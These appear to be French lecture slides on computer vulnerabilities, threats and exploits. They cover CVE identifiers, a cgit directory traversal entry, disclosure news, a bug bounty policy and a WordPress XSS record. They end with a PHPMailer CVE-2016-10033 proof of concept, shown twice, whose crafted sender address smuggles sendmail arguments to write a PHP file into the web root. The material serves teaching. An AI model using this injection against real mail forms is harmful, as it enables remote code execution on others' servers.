



Les **vulnérabilités** informatiques

- **D'origines diverses** : bug, laisser-aller, erreur, volontaire...etc
- Créer une **faiblesse** dans un système, qu'une *menace* peut exploiter
- Classées en **catégories** : matériel, logiciel, réseau, physique, humain...
- **Identifiants standardisés** : *CVE (Common Vulnerabilities and Exposures)*

Vulnerability & Exploit Database

[Back to search](#)

cgit Directory Traversal

This module exploits a directory traversal vulnerability which exists in cgit < 1.2.1 `cgit_clone_objects()`, reachable when the configuration flag `enable-http-clone` is set to 1 (default).

Module Name

`auxiliary/scanner/http/cgit_traversal`

Authors

Google Project Zero
Dhiraj Mishra

References

[CVE-2018-14912](#)
URL: <https://bugs.chromium.org/p/project-zero/issues/detail?id=1627>
[EDB-45148](#)

Reliability

Normal

Vulnerability Details : [CVE-2018-14912](#) (1 Metasploit modules)

cgit_clone_objects in CGit before 1.2.1 has a directory traversal vulnerability when `enable-http-done=1` is not turned off, as demonstrated by a cgit/cgit.cgi/git/objects/?path=../ request.

Publish Date : 2018-08-03 Last Update Date : 2018-10-02

[Collapse All](#) [Expand All](#) [Select](#) [Select&Copy](#) [Scroll To](#) [Comments](#) [External Links](#)

[Search Twitter](#) [Search YouTube](#) [Search Google](#)

- CVSS Scores & Vulnerability Types

CVSS Score	5.0
Confidentiality Impact	Partial (There is considerable informational disclosure.)
Integrity Impact	None (There is no impact to the integrity of the system)
Availability Impact	None (There is no impact to the availability of the system.)
Access Complexity	Low (Specialized access conditions or extenuating circumstances do not exist. Very little knowledge or skill is required to exploit.)
Authentication	Not required (Authentication is not required to exploit the vulnerability.)
Gained Access	None
Vulnerability Type(s)	Directory traversal
CWE ID	22

- Products Affected By CVE-2018-14912

#	Product Type	Vendor	Product	Version	Update	Edition	Language	
1	Application	Cgit Project	Cgit	0.11.2				Version Details Vulnerabilities
2	OS	Debian	Debian Linux	8.0				Version Details Vulnerabilities
3	OS	Debian	Debian Linux	9.0				Version Details Vulnerabilities

- Number Of Affected Versions By Product

Vendor	Product	Vulnerable Versions
Cgit Project	Cgit	1
Debian	Debian Linux	2

- References For CVE-2018-14912

<https://www.exploit-db.com/exploits/45195/>

EXPLOIT-DB 45195

<https://www.debian.org/security/2018/dsa-4263>

DEBIAN DSA-4263

<https://lists.zx2c4.com/pipermail/cgit/2018-August/004176.html>

<https://bugs.chromium.org/p/project-zero/issues/detail?id=1627>

<https://lists.debian.org/debian-lts-announce/2018/09/msg00005.html>

MLIST [debian-lts-announce] 20180806 [SECURITY] [DLA-1459-1] cgit security update

- Metasploit Modules Related To CVE-2018-14912



Les **vulnérabilités** informatiques

- **D'origines diverses** : bug, laisser-aller, erreur, volontaire...etc
- Créer une **faiblesse** dans un système, qu'une *menace* peut exploiter
- Classées en **catégories** : matériel, logiciel, réseau, physique, humain...
- **Identifiants standardisés** : *CVE (Common Vulnerabilities and Exposures)*
- **Divulgation** : *full disclosure, responsible disclosure, darkweb, bug bounty*

Une vulnérabilité 0Day dans Windows a été rendue publique

Parce que Microsoft n'a pas respecté le délai canonique de 120 jours

Le 26 septembre 2018, par [Stéphane Le calme](#), Chroniqueur Actualités



Sur sa page de présentation de la Zero Day Initiative (ZDI) de Trend Micro, elle affirme qu'elle a été créée par des chercheurs en sécurité et que l'information avait été divulguée à une petite minorité du public.

Les objectifs

- améliorer l'efficacité des chercheurs qualifiés ;
- encourager le signalement responsable des vulnérabilités zero day grâce à des incitations financières ;
- protéger les clients Trend Micro contre les risques jusqu'à ce que le fournisseur concerné puisse déployer une correction.

"0Day" ou "zéro-day" étant l'expression signifiant une "faille non corrigée/non connue"

La ZDI agit comme une plateforme entre les chercheurs en sécurité et les fournisseurs concernés :

« La soumission via le programme ZDI vous dispense également du suivi du bogue avec le fournisseur. Nous ne divulguons pas l'information de sécurité signalée, ce qui permet aux chercheurs de trouver d'autres bogues. Nous vous ferons savoir que votre bogue est "gardée silencieuse" car un fournisseur de produits ne souhaite pas y remédier.

Étude : 75 % des vulnérabilités de sécurité sont divulguées sur le Dark Web avant les sources officielles

En moyenne avant sept jours

Le 7 juin 2017, par [Coriolan](#), Chroniqueur Actualités



La firme de cybersécurité Recorded Future a publié les résultats de sa recherche sur la publication des vulnérabilités dans le Dark Web (la partie de la toile accédée par la recherche classiques généralistes) ainsi que les sources de sécurité avant qu'elles soient publiées dans la National Vulnerability Database (NVD), le registre de sécurité ainsi que leur niveau de risque.

Les résultats montrent qu'il faut compter des jours avant que les vulnérabilités divulguées sur le Dark Web soient listées et rendues publiques sur la NVD et un décalage moyen de sept jours entre la diffusion publique et les notifications officielles qui sont envoyées aux organisations et les firmes de sécurité. 75 % des CVE (Common Vulnerabilities and Exposures) sont divulgués en ligne sur des blogs, des sites comme Pastebin, des forums de cybercriminels ainsi que le Dark Web, avant leur entrée dans la base de données.

Les données de l'étude révèlent aussi qu'il existe un écart entre les annonces des vendeurs et la publication sur la NVD. Le meilleur temps enregistré a été seulement 1 jour avant qu'une vulnérabilité ne soit publiée dans la NVD.

Plus de 1500 sources ont signalé la présence de vulnérabilités avant leur divulgation et 5 % des bogues qui ont été repérés sur le Dark Web avant leur publication officielle. Les bogues trouvés dans les sources underground ont été publiés dans des langages étrangers.

Suite à ces résultats, Recorded Future remet en question la fiabilité des sources de sécurité officielles. « Cet écart entre la communication officielle et non officielle sur les vulnérabilités des systèmes d'information) et les équipes de sécurité, en les laissant involontairement livrés à des exploits potentiels sans la capacité de prendre des décisions stratégiques ».

Les résultats de cette étude peuvent être résumés comme suit :

- 75 % des vulnérabilités sont divulguées en moyenne 7 jours avant leur publication par la NVD. Cet écart est en train d'augmenter, ce qui complique la capacité des équipes de sécurité de réagir ;
- plus de 1500 sources ont rapporté plus de 114 000 fois des vulnérabilités avant leur publication officielle, y compris des sources de la communauté de renseignement ;
- les vulnérabilités à haute sévérité ont des écarts de divulgation plus courts en raison des efforts déployés pour la communication et l'assainissement des bogues sérieux ;
- 5 % des vulnérabilités sont détaillées dans le deep et les dark web avant leur publication dans la NVD et elles ont un niveau de sévérité plus élevé que prévu. 30 % des vulnérabilités concernent des entreprises majeures comme Google, Apple, Microsoft et Oracle.

Informations

50€ Minimum bounty

Reports Accepted 115

Hunters thanked 49

Rules

Bug Bounty Program - BlaBlaCar

About the company

BlaBlaCar is the world leader in long-distance carpooling. We are an innovative and growing company building a unique community of members to transform the way people travel!

Since 2013, BlaBlaCar has grown exponentially and we're now a leading company with over 40 millions members in more than 20 countries. Thus, we need to keep our member's privacy and data secure.

Reporting & Disclosure Policy

BlaBlaCar believes that working with skilled security researchers across the globe is crucial in identifying weaknesses in any technology. If you believe you've found a security issue in our products or services, we encourage you to notify us.

- Let us know as soon as possible upon discovery of a potential security issue, and we'll make every effort to quickly resolve the issue.
- Provide us a reasonable amount of time to resolve the issue before any disclosure to the public or a third-party.
- Please avoid DDOSing us or causing a service disruption while testing our platform. And take care of not endangering the privacy or our members.
- Do not try to over exploit the bug and access internal data for further vulnerabilities. We will determine the severity and reward accordingly.
- If you find the same vulnerability several times, please create only one report and eventually use comments. You'll be rewarded accordingly to your findings.

"Alertez-nous au plus vite", "laissez-nous le temps de résoudre le problème avant de le divulguer", "Ne causez pas d'indisponibilité du service", etc...



Les **vulnérabilités** informatiques

- **D'origines diverses** : bug, laisser-aller, erreur, volontaire...etc
- Créer une **faiblesse** dans un système, qu'une *menace* peut exploiter
- Classées en **catégories** : matériel, logiciel, réseau, physique, humain...
- **Identifiants standardisés** : *CVE (Common Vulnerabilities and Exposures)*
- **Divulgation** : *full disclosure, responsible disclosure, darkweb, bug bounty*
- Identifier et **corriger** les vulnérabilités : tests, patchs, sensibilisation...etc



Les **vulnérabilités** informatiques

☉ Exemple : faille XSS (*Cross-Site Scripting*) dans WordPress CVE-2016-5834

CVE-ID
CVE-2016-5834 Learn more at National Vulnerability Database (NVD) • Severity Rating • Fix Information • Vulnerable Software Versions • SCAP Mappings
Description
Cross-site scripting (XSS) vulnerability in the wp_get_attachment_link function in wp-includes/post-template.php in WordPress before 4.5.3 allows remote attackers to inject arbitrary web script or HTML via a crafted attachment name, a different vulnerability than CVE-2016-5833.
References
Note: References are provided for the convenience of the reader to help distinguish between vulnerabilities. The list is not intended to be complete.
<ul style="list-style-type: none">• MISC:https://wpvulndb.com/vulnerabilities/8518• CONFIRM:https://codex.wordpress.org/Version_4.5.3• CONFIRM:https://github.com/WordPress/WordPress/commit/4372cdf45d0f49c74bbd4d60db7281de83e32648• CONFIRM:https://wordpress.org/news/2016/06/wordpress-4-5-3/• DEBIAN:DSA-3639• URL:http://www.debian.org/security/2016/dsa-3639• BID:91368• URL:http://www.securityfocus.com/bid/91368• SECTRACK:1036163• URL:http://www.securitytracker.com/id/1036163

Source : <https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-5834>



Les **menaces** informatiques

- ⦿ Danger possible qui peut **exploiter** une vulnérabilité
- ⦿ Menaces « intentionnelles » ou « accidentelles »
- ⦿ Classification (selon *Microsoft*) : usurpation d'identité, altération des données, répudiation des données, fuite de données, déni de service, élévation de privilèges.
- ⦿ **Exemples** : ancien employé mécontent, tremblements de terre
- ⦿ **Risques = Menaces × Vulnérabilités**



Les **exploits** informatiques

- Programme ou technique qui **exploite** une vulnérabilité
- *Preuve de concept* / utilisation illégale



Les **exploits** informatiques

- Exemple : exploit *PHPMailer* (CVE-2016-10033)



Les exploits informatiques

☉ Exemple : exploit *PHPMailer* (CVE-2016-10033)

```
47 // Attacker's input coming from untrusted source such as $_GET , $_POST etc.
48 // For example from a Contact form
49
50 $email_from = '"attacker\' -oQ/tmp/ -X/var/www/cache/phpcode.php some"@email.com';
51 $msg_body = "<?php phpinfo(); ?>";
52
53 // -----
54
55
56 // mail() param injection via the vulnerability in PHPMailer
57
58 require_once('class.phpmailer.php');
59 $mail = new PHPMailer(); // defaults to using php "mail()"
60
61 $mail->SetFrom($email_from, 'Client Name');
62
63 $address = "customer_feedback@company-X.com";
64 $mail->AddAddress($address, "Some User");
65
66 $mail->Subject = "PHPMailer PoC Exploit CVE-2016-10033";
67 $mail->MsgHTML($msg_body);
68
69 if(!$mail->Send()) {
70     echo "Mailer Error: " . $mail->ErrorInfo;
71 } else {
72     echo "Message sent!\n";
73 }
74
75 ?>
```

Contact Support ×

Name

Email

Subject

Message



Les exploits informatiques

● Exemple : exploit *PHPMailer* (CVE-2016-10033)

```
47 // Attacker's input coming from untrusted source such as $_GET , $_POST etc.
48 // For example from a Contact form
49
50 $email_from = '"attacker\'" -oQ/tmp/ -X/var/www/cache/phpcode.php some"@email.com"';
51 $msg_body = "<?php phpinfo(); ?>";
52
53 // -----
54 // Content-Disposition: inline; filename="phpinfo.php"
55 // Content-Type: text/html
56 // Content-Transfer-Encoding: quoted-printable
57 //
58 // -----
59 // Content-Disposition: attachment; filename="class.phpmailer.php"
60 // Content-Type: application/x-php
61 // Content-Transfer-Encoding: base64
62 //
63 $address = "customer_feedback@company-X.com";
64 $mail->AddAddress($address, "Some User");
65
66 $mail->Subject = "PHPMailer PoC Exploit CVE-2016-10033";
67 $mail->MsgHTML($msg_body);
68
69 if(!$mail->Send()) {
70     echo "Mailer Error: " . $mail->ErrorInfo;
71 } else {
72     echo "Message sent!\n";
73 }
74
75 ?>
```

Dans cet exemple, les informations PHP sont récupérées pour l'exemple avec phpinfo

✕

Contact Support

Name

Email

Subject

Message